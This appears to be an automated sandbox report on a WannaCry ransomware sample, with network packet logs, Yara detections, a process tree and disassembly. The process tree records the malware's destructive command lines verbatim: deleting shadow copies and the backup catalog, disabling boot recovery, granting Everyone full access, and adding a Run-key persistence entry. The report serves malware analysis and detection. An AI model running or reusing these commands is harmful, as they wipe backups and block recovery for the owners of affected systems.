                                      Jul 26, 2024 00:22:39.017944098 CEST497509001192.168.11.20192.87.28.28
                                      Jul 26, 2024 00:22:39.017970085 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.018039942 CEST497509001192.168.11.20192.87.28.28
                                      Jul 26, 2024 00:22:39.018039942 CEST497509001192.168.11.20192.87.28.28
                                      Jul 26, 2024 00:22:39.018148899 CEST497509001192.168.11.20192.87.28.28
                                      Jul 26, 2024 00:22:39.021014929 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.021100998 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.021248102 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.021286964 CEST497509001192.168.11.20192.87.28.28
                                      Jul 26, 2024 00:22:39.021289110 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.021321058 CEST497509001192.168.11.20192.87.28.28
                                      Jul 26, 2024 00:22:39.021353960 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.021464109 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.021466017 CEST497509001192.168.11.20192.87.28.28
                                      Jul 26, 2024 00:22:39.021559954 CEST497509001192.168.11.20192.87.28.28
                                      Jul 26, 2024 00:22:39.021574020 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.021616936 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.021668911 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.021722078 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.021725893 CEST497509001192.168.11.20192.87.28.28
                                      Jul 26, 2024 00:22:39.021802902 CEST497509001192.168.11.20192.87.28.28
                                      Jul 26, 2024 00:22:39.021816969 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.021859884 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.021910906 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.021919966 CEST497509001192.168.11.20192.87.28.28
                                      Jul 26, 2024 00:22:39.021961927 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.021966934 CEST497509001192.168.11.20192.87.28.28
                                      Jul 26, 2024 00:22:39.022057056 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.022062063 CEST497509001192.168.11.20192.87.28.28
                                      Jul 26, 2024 00:22:39.022087097 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.022109985 CEST497509001192.168.11.20192.87.28.28
                                      Jul 26, 2024 00:22:39.022170067 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.022192001 CEST497509001192.168.11.20192.87.28.28
                                      Jul 26, 2024 00:22:39.022294044 CEST497509001192.168.11.20192.87.28.28
                                      Jul 26, 2024 00:22:39.022366047 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.022429943 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.022454977 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.022485971 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.022505045 CEST497509001192.168.11.20192.87.28.28
                                      Jul 26, 2024 00:22:39.022515059 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.022546053 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.022568941 CEST497509001192.168.11.20192.87.28.28
                                      Jul 26, 2024 00:22:39.022620916 CEST497509001192.168.11.20192.87.28.28
                                      Jul 26, 2024 00:22:39.022620916 CEST497509001192.168.11.20192.87.28.28
                                      Jul 26, 2024 00:22:39.022691965 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.022732973 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.022736073 CEST497509001192.168.11.20192.87.28.28
                                      Jul 26, 2024 00:22:39.022770882 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.022866964 CEST497509001192.168.11.20192.87.28.28
                                      Jul 26, 2024 00:22:39.022866964 CEST497509001192.168.11.20192.87.28.28
                                      Jul 26, 2024 00:22:39.022900105 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.022911072 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.023073912 CEST497509001192.168.11.20192.87.28.28
                                      Jul 26, 2024 00:22:39.023080111 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.023214102 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.023236990 CEST497509001192.168.11.20192.87.28.28
                                      Jul 26, 2024 00:22:39.023272991 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.023399115 CEST497509001192.168.11.20192.87.28.28
                                      Jul 26, 2024 00:22:39.023477077 CEST497509001192.168.11.20192.87.28.28
                                      Jul 26, 2024 00:22:39.024485111 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.028585911 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.068799973 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.328274965 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.369625092 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.596951008 CEST497509001192.168.11.20192.87.28.28
                                      Jul 26, 2024 00:22:39.904637098 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.907790899 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.907805920 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.907818079 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.907886028 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.907968044 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.908015013 CEST497509001192.168.11.20192.87.28.28
                                      Jul 26, 2024 00:22:39.908061981 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.908075094 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.908108950 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.908143997 CEST497509001192.168.11.20192.87.28.28
                                      Jul 26, 2024 00:22:39.908236027 CEST497509001192.168.11.20192.87.28.28
                                      Jul 26, 2024 00:22:39.908298016 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.908312082 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.908324003 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.908333063 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:39.908416986 CEST497509001192.168.11.20192.87.28.28
                                      Jul 26, 2024 00:22:39.908464909 CEST497509001192.168.11.20192.87.28.28
                                      Jul 26, 2024 00:22:40.215085983 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:40.215182066 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:40.215204000 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:40.215315104 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:40.215432882 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:40.215445995 CEST497509001192.168.11.20192.87.28.28
                                      Jul 26, 2024 00:22:40.215528011 CEST497509001192.168.11.20192.87.28.28
                                      Jul 26, 2024 00:22:40.270020962 CEST497509001192.168.11.20192.87.28.28
                                      Jul 26, 2024 00:22:40.577048063 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:22:40.629276037 CEST497509001192.168.11.20192.87.28.28
                                      Jul 26, 2024 00:22:42.771294117 CEST4434975186.59.21.38192.168.11.20
                                      Jul 26, 2024 00:23:47.184429884 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:23:47.239717007 CEST497509001192.168.11.20192.87.28.28
                                      Jul 26, 2024 00:24:22.536366940 CEST44349748194.109.206.212192.168.11.20
                                      Jul 26, 2024 00:26:58.523164988 CEST900149750192.87.28.28192.168.11.20
                                      Jul 26, 2024 00:26:58.523375034 CEST497509001192.168.11.20192.87.28.28
                                      Jul 26, 2024 00:26:58.523463964 CEST497509001192.168.11.20192.87.28.28
                                      Jul 26, 2024 00:26:58.830385923 CEST900149750192.87.28.28192.168.11.20

                                      Statistics

                                      CPU Usage

                                      Click to jump to process

                                      Memory Usage

                                      Click to jump to process

                                      High Level Behavior Distribution

                                      Click to dive into process behavior distribution

                                      Behavior

                                      Click to jump to process

                                      System Behavior

                                      General

                                      Target ID:0
                                      Start time:18:20:29
                                      Start date:25/07/2024
                                      Path:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      Wow64 process (32bit):true
                                      Commandline:"C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe"
                                      Imagebase:0x400000
                                      File size:3'514'376 bytes
                                      MD5 hash:C98E7230ADB1BA8D2F2082CA885068BB
                                      Has elevated privileges:true
                                      Has administrator privileges:true
                                      Programmed in:C, C++ or other language
                                      Yara matches:
                                      • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000000.00000003.882205706.0000000000AD8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                      • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000000.00000000.849626717.000000000040E000.00000008.00000001.01000000.00000003.sdmp, Author: us-cert code analysis team
                                      • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000000.00000003.872152587.0000000000AD3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                      • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000000.00000003.1844791357.0000000000B0F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                      Reputation:low
                                      Has exited:false

                                      General

                                      Target ID:2
                                      Start time:18:20:30
                                      Start date:25/07/2024
                                      Path:C:\Windows\SysWOW64\attrib.exe
                                      Wow64 process (32bit):true
                                      Commandline:attrib +h .
                                      Imagebase:0xf30000
                                      File size:19'456 bytes
                                      MD5 hash:0E938DD280E83B1596EC6AA48729C2B0
                                      Has elevated privileges:true
                                      Has administrator privileges:true
                                      Programmed in:C, C++ or other language
                                      Reputation:moderate
                                      Has exited:true

                                      General

                                      Target ID:3
                                      Start time:18:20:30
                                      Start date:25/07/2024
                                      Path:C:\Windows\SysWOW64\icacls.exe
                                      Wow64 process (32bit):true
                                      Commandline:icacls . /grant Everyone:F /T /C /Q
                                      Imagebase:0xde0000
                                      File size:29'696 bytes
                                      MD5 hash:2E49585E4E08565F52090B144062F97E
                                      Has elevated privileges:true
                                      Has administrator privileges:true
                                      Programmed in:C, C++ or other language
                                      Reputation:high
                                      Has exited:true

                                      General

                                      Target ID:4
                                      Start time:18:20:30
                                      Start date:25/07/2024
                                      Path:C:\Windows\System32\conhost.exe
                                      Wow64 process (32bit):false
                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                      Imagebase:0x7ff777170000
                                      File size:875'008 bytes
                                      MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                      Has elevated privileges:true
                                      Has administrator privileges:true
                                      Programmed in:C, C++ or other language
                                      Reputation:high
                                      Has exited:true

                                      General

                                      Target ID:5
                                      Start time:18:20:30
                                      Start date:25/07/2024
                                      Path:C:\Windows\System32\conhost.exe
                                      Wow64 process (32bit):false
                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                      Imagebase:0x7ff777170000
                                      File size:875'008 bytes
                                      MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                      Has elevated privileges:true
                                      Has administrator privileges:true
                                      Programmed in:C, C++ or other language
                                      Reputation:high
                                      Has exited:true

                                      General

                                      Target ID:6
                                      Start time:18:20:31
                                      Start date:25/07/2024
                                      Path:C:\Users\user\Desktop\taskdl.exe
                                      Wow64 process (32bit):true
                                      Commandline:taskdl.exe
                                      Imagebase:0x400000
                                      File size:20'480 bytes
                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                      Has elevated privileges:true
                                      Has administrator privileges:true
                                      Programmed in:C, C++ or other language
                                      Reputation:moderate
                                      Has exited:true

                                      General

                                      Target ID:7
                                      Start time:18:20:31
                                      Start date:25/07/2024
                                      Path:C:\Windows\SysWOW64\cmd.exe
                                      Wow64 process (32bit):true
                                      Commandline:C:\Windows\system32\cmd.exe /c 109861721946031.bat
                                      Imagebase:0x720000
                                      File size:236'544 bytes
                                      MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                      Has elevated privileges:true
                                      Has administrator privileges:true
                                      Programmed in:C, C++ or other language
                                      Reputation:high
                                      Has exited:true

                                      General

                                      Target ID:8
                                      Start time:18:20:31
                                      Start date:25/07/2024
                                      Path:C:\Windows\System32\conhost.exe
                                      Wow64 process (32bit):false
                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                      Imagebase:0x7ff777170000
                                      File size:875'008 bytes
                                      MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                      Has elevated privileges:true
                                      Has administrator privileges:true
                                      Programmed in:C, C++ or other language
                                      Reputation:high
                                      Has exited:true

                                      General

                                      Target ID:9
                                      Start time:18:20:31
                                      Start date:25/07/2024
                                      Path:C:\Windows\SysWOW64\cscript.exe
                                      Wow64 process (32bit):true
                                      Commandline:cscript.exe //nologo m.vbs
                                      Imagebase:0xbf0000
                                      File size:144'896 bytes
                                      MD5 hash:13783FF4A2B614D7FBD58F5EEBDEDEF6
                                      Has elevated privileges:true
                                      Has administrator privileges:true
                                      Programmed in:C, C++ or other language
                                      Reputation:moderate
                                      Has exited:true

                                      General

                                      Target ID:16
                                      Start time:18:20:56
                                      Start date:25/07/2024
                                      Path:C:\Windows\System32\dllhost.exe
                                      Wow64 process (32bit):false
                                      Commandline:C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                      Imagebase:0x7ff7ccbb0000
                                      File size:21'312 bytes
                                      MD5 hash:08EB78E5BE019DF044C26B14703BD1FA
                                      Has elevated privileges:false
                                      Has administrator privileges:false
                                      Programmed in:C, C++ or other language
                                      Reputation:moderate
                                      Has exited:true

                                      General

                                      Target ID:17
                                      Start time:18:21:01
                                      Start date:25/07/2024
                                      Path:C:\Users\user\Desktop\taskdl.exe
                                      Wow64 process (32bit):true
                                      Commandline:taskdl.exe
                                      Imagebase:0x400000
                                      File size:20'480 bytes
                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                      Has elevated privileges:true
                                      Has administrator privileges:true
                                      Programmed in:C, C++ or other language
                                      Reputation:moderate
                                      Has exited:true

                                      General

                                      Target ID:29
                                      Start time:18:21:31
                                      Start date:25/07/2024
                                      Path:C:\Users\user\Desktop\taskdl.exe
                                      Wow64 process (32bit):true
                                      Commandline:taskdl.exe
                                      Imagebase:0x400000
                                      File size:20'480 bytes
                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                      Has elevated privileges:true
                                      Has administrator privileges:true
                                      Programmed in:C, C++ or other language
                                      Has exited:true

                                      General

                                      Target ID:30
                                      Start time:18:22:01
                                      Start date:25/07/2024
                                      Path:C:\Users\user\Desktop\taskdl.exe
                                      Wow64 process (32bit):true
                                      Commandline:taskdl.exe
                                      Imagebase:0x400000
                                      File size:20'480 bytes
                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                      Has elevated privileges:true
                                      Has administrator privileges:true
                                      Programmed in:C, C++ or other language
                                      Has exited:false

                                      General

                                      Target ID:31
                                      Start time:18:22:08
                                      Start date:25/07/2024
                                      Path:C:\Users\user\Desktop\@WanaDecryptor@.exe
                                      Wow64 process (32bit):true
                                      Commandline:@WanaDecryptor@.exe co
                                      Imagebase:0x400000
                                      File size:245'760 bytes
                                      MD5 hash:7BF2B57F2A205768755C07F238FB32CC
                                      Has elevated privileges:true
                                      Has administrator privileges:true
                                      Programmed in:C, C++ or other language
                                      Yara matches:
                                      • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 0000001F.00000000.1847688235.000000000041F000.00000008.00000001.01000000.0000000B.sdmp, Author: Joe Security
                                      Has exited:false

                                      General

                                      Target ID:32
                                      Start time:18:22:08
                                      Start date:25/07/2024
                                      Path:C:\Windows\SysWOW64\cmd.exe
                                      Wow64 process (32bit):true
                                      Commandline:cmd.exe /c start /b @WanaDecryptor@.exe vs
                                      Imagebase:0x720000
                                      File size:236'544 bytes
                                      MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                      Has elevated privileges:true
                                      Has administrator privileges:true
                                      Programmed in:C, C++ or other language
                                      Has exited:false

                                      General

                                      Target ID:33
                                      Start time:18:22:09
                                      Start date:25/07/2024
                                      Path:C:\Windows\System32\conhost.exe
                                      Wow64 process (32bit):false
                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                      Imagebase:0x7ff777170000
                                      File size:875'008 bytes
                                      MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                      Has elevated privileges:true
                                      Has administrator privileges:true
                                      Programmed in:C, C++ or other language
                                      Has exited:false

                                      General

                                      Target ID:34
                                      Start time:18:22:09
                                      Start date:25/07/2024
                                      Path:C:\Users\user\Desktop\@WanaDecryptor@.exe
                                      Wow64 process (32bit):true
                                      Commandline:@WanaDecryptor@.exe vs
                                      Imagebase:0x400000
                                      File size:245'760 bytes
                                      MD5 hash:7BF2B57F2A205768755C07F238FB32CC
                                      Has elevated privileges:true
                                      Has administrator privileges:true
                                      Programmed in:C, C++ or other language
                                      Yara matches:
                                      • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000022.00000000.1848649309.000000000041F000.00000008.00000001.01000000.0000000B.sdmp, Author: Joe Security
                                      • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000022.00000002.1950334350.000000000041F000.00000008.00000001.01000000.0000000B.sdmp, Author: Joe Security
                                      Has exited:false

                                      General

                                      Target ID:36
                                      Start time:18:22:11
                                      Start date:25/07/2024
                                      Path:C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe
                                      Wow64 process (32bit):true
                                      Commandline:TaskData\Tor\taskhsvc.exe
                                      Imagebase:0xbc0000
                                      File size:3'098'624 bytes
                                      MD5 hash:FE7EB54691AD6E6AF77F8A9A0B6DE26D
                                      Has elevated privileges:true
                                      Has administrator privileges:true
                                      Programmed in:C, C++ or other language
                                      Has exited:false

                                      General

                                      Target ID:37
                                      Start time:18:22:11
                                      Start date:25/07/2024
                                      Path:C:\Windows\System32\conhost.exe
                                      Wow64 process (32bit):false
                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                      Imagebase:0x7ff777170000
                                      File size:875'008 bytes
                                      MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                      Has elevated privileges:true
                                      Has administrator privileges:true
                                      Programmed in:C, C++ or other language
                                      Has exited:false

                                      General

                                      Target ID:40
                                      Start time:18:22:19
                                      Start date:25/07/2024
                                      Path:C:\Windows\SysWOW64\cmd.exe
                                      Wow64 process (32bit):true
                                      Commandline:cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
                                      Imagebase:0x720000
                                      File size:236'544 bytes
                                      MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                      Has elevated privileges:true
                                      Has administrator privileges:true
                                      Programmed in:C, C++ or other language
                                      Has exited:false

                                      General

                                      Target ID:41
                                      Start time:18:22:19
                                      Start date:25/07/2024
                                      Path:C:\Windows\System32\conhost.exe
                                      Wow64 process (32bit):false
                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                      Imagebase:0x7ff777170000
                                      File size:875'008 bytes
                                      MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                      Has elevated privileges:true
                                      Has administrator privileges:true
                                      Programmed in:C, C++ or other language
                                      Has exited:false

                                      General

                                      Target ID:42
                                      Start time:18:22:19
                                      Start date:25/07/2024
                                      Path:C:\Windows\SysWOW64\wbem\WMIC.exe
                                      Wow64 process (32bit):false
                                      Commandline:wmic shadowcopy delete
                                      Imagebase:0x270000
                                      File size:393'216 bytes
                                      MD5 hash:82BB8430531876FBF5266E53460A393E
                                      Has elevated privileges:true
                                      Has administrator privileges:true
                                      Programmed in:C, C++ or other language
                                      Has exited:false

                                      General

                                      Target ID:45
                                      Start time:18:22:31
                                      Start date:25/07/2024
                                      Path:C:\Users\user\Desktop\taskse.exe
                                      Wow64 process (32bit):
                                      Commandline:taskse.exe C:\Users\user\Desktop\@WanaDecryptor@.exe
                                      Imagebase:
                                      File size:20'480 bytes
                                      MD5 hash:8495400F199AC77853C53B5A3F278F3E
                                      Has elevated privileges:
                                      Has administrator privileges:
                                      Programmed in:C, C++ or other language
                                      Has exited:false

                                      General

                                      Target ID:46
                                      Start time:18:22:31
                                      Start date:25/07/2024
                                      Path:C:\Users\user\Desktop\@WanaDecryptor@.exe
                                      Wow64 process (32bit):
                                      Commandline:@WanaDecryptor@.exe
                                      Imagebase:
                                      File size:245'760 bytes
                                      MD5 hash:7BF2B57F2A205768755C07F238FB32CC
                                      Has elevated privileges:
                                      Has administrator privileges:
                                      Programmed in:C, C++ or other language
                                      Yara matches:
                                      • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 0000002E.00000000.2071838543.000000000041F000.00000008.00000001.01000000.0000000B.sdmp, Author: Joe Security
                                      • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 0000002E.00000002.5896071201.000000000041F000.00000008.00000001.01000000.0000000B.sdmp, Author: Joe Security
                                      Has exited:false

                                      General

                                      Target ID:47
                                      Start time:18:22:31
                                      Start date:25/07/2024
                                      Path:C:\Windows\SysWOW64\cmd.exe
                                      Wow64 process (32bit):
                                      Commandline:cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "njyalyugfohc920" /t REG_SZ /d "\"C:\Users\user\Desktop\tasksche.exe\"" /f
                                      Imagebase:
                                      File size:236'544 bytes
                                      MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                      Has elevated privileges:
                                      Has administrator privileges:
                                      Programmed in:C, C++ or other language
                                      Has exited:false

                                      General

                                      Target ID:48
                                      Start time:18:22:31
                                      Start date:25/07/2024
                                      Path:C:\Windows\System32\conhost.exe
                                      Wow64 process (32bit):
                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                      Imagebase:
                                      File size:875'008 bytes
                                      MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                      Has elevated privileges:
                                      Has administrator privileges:
                                      Programmed in:C, C++ or other language
                                      Has exited:false

                                      General

                                      Target ID:49
                                      Start time:18:22:31
                                      Start date:25/07/2024
                                      Path:C:\Windows\SysWOW64\reg.exe
                                      Wow64 process (32bit):
                                      Commandline:
                                      Imagebase:
                                      File size:59'392 bytes
                                      MD5 hash:CDD462E86EC0F20DE2A1D781928B1B0C
                                      Has elevated privileges:
                                      Has administrator privileges:
                                      Programmed in:C, C++ or other language
                                      Has exited:false

                                      General

                                      Target ID:50
                                      Start time:18:22:31
                                      Start date:25/07/2024
                                      Path:C:\Users\user\Desktop\taskdl.exe
                                      Wow64 process (32bit):
                                      Commandline:
                                      Imagebase:
                                      File size:20'480 bytes
                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                      Has elevated privileges:
                                      Has administrator privileges:
                                      Programmed in:C, C++ or other language
                                      Has exited:false

                                      Disassembly

                                      Reset < >

                                        Execution Graph

                                        Execution Coverage:24.8%
                                        Dynamic/Decrypted Code Coverage:0%
                                        Signature Coverage:20.2%
                                        Total number of Nodes:94
                                        Total number of Limit Nodes:1
                                        execution_graph 315 401360 316 4013a7 315->316 320 401372 315->320 322 4018d0 free 316->322 318 4013b0 320->316 321 4018d0 free 320->321 321->320 322->318 212 4018f6 __set_app_type __p__fmode __p__commode 213 401965 212->213 214 401979 213->214 215 40196d __setusermatherr 213->215 224 401a66 _controlfp 214->224 215->214 217 40197e _initterm __getmainargs _initterm 218 4019d2 GetStartupInfoA 217->218 220 401a06 GetModuleHandleA 218->220 225 4012c0 GetLogicalDrives 220->225 224->217 226 4012e0 225->226 227 401305 GetDriveTypeW 226->227 228 401324 exit _XcptFilter 226->228 231 401080 226->231 227->226 255 401000 GetWindowsDirectoryW 231->255 233 4010d5 swprintf FindFirstFileW 234 40114a 233->234 241 401114 233->241 235 40114e swprintf ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N wcslen ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N 234->235 237 40119e 235->237 242 4011ae ?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI 237->242 268 4013d0 237->268 239 401140 Sleep 239->226 244 401136 241->244 261 401870 241->261 242->237 243 4011d9 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N FindNextFileW 243->235 245 401204 FindClose 243->245 267 4018d0 free 244->267 251 401215 245->251 246 40124a 247 401254 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N 246->247 248 401265 246->248 247->247 247->248 249 40128f 248->249 250 40127e ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N 248->250 297 4018d0 free 249->297 250->249 250->250 251->246 252 401239 DeleteFileW 251->252 252->251 254 401299 254->239 256 401022 GetTempPathW wcslen 255->256 257 40105e swprintf 255->257 258 401073 256->258 259 40103e wcslen 256->259 257->258 258->233 259->258 260 40104c wcslen 259->260 260->233 262 401885 261->262 263 40187a 261->263 264 4018bb 262->264 299 4018d0 free 262->299 263->262 298 4018d0 free 263->298 264->241 267->239 269 40152b 268->269 273 4013f2 ??2@YAPAXI 268->273 282 4015e7 269->282 283 40153e 269->283 270 401677 270->243 271 401574 274 40159e 271->274 280 401690 7 API calls 271->280 272 401616 278 401629 ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@ABV12@II 272->278 279 401647 272->279 285 401440 273->285 286 401458 273->286 274->270 275 4015b3 ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@ABV12@II 274->275 275->275 281 4015cd 275->281 276 401690 7 API calls 276->282 277 401690 7 API calls 277->283 278->278 278->279 279->270 287 40165c ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@ABV12@II 279->287 280->271 281->243 282->270 282->272 282->276 283->271 283->277 285->286 300 401690 285->300 290 401690 7 API calls 286->290 295 40147e 286->295 287->270 287->287 289 4014b5 291 4014d0 289->291 292 4014bf ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N 289->292 290->286 314 4018d0 free 291->314 292->291 292->292 294 401690 7 API calls 294->295 295->289 295->294 296 4014d9 296->243 297->254 298->262 299->264 301 4016c0 300->301 307 4017c4 300->307 302 4016e8 301->302 306 40175b 301->306 303 4016f4 ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@ 302->303 304 4016ee ?_Xran@std@ 302->304 309 401705 303->309 304->303 305 4017b5 ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N 305->307 306->305 310 401775 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N 306->310 307->285 308 401740 ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@ 308->285 309->308 312 401721 ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N 309->312 311 401786 310->311 311->285 312->308 313 401737 ?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI 312->313 313->308 314->296 323 401a48 _exit 324 401a9b ??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE

                                        Callgraph

                                        Executed Functions

                                        Function 00401080 Relevance: 19.7, APIs: 13, Instructions: 173fileCOMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        APIs
                                          • Part of subcall function 00401000: GetWindowsDirectoryW.KERNEL32(00000019,00000104,770D0F00,00000019,004010D5,?,?,770D0F00,00000019,770D3300,00000000), ref: 0040100C
                                          • Part of subcall function 00401000: GetTempPathW.KERNEL32(00000104,00000019), ref: 00401028
                                          • Part of subcall function 00401000: wcslen.MSVCRT ref: 00401035
                                          • Part of subcall function 00401000: wcslen.MSVCRT ref: 0040103F
                                          • Part of subcall function 00401000: wcslen.MSVCRT ref: 0040104D
                                        • swprintf.MSVCRT(?,00403040,?,00403050,770D3300,00000000), ref: 004010F5
                                        • FindFirstFileW.KERNELBASE(?,?), ref: 00401107
                                        • swprintf.MSVCRT(?,00403034,?,?), ref: 00401168
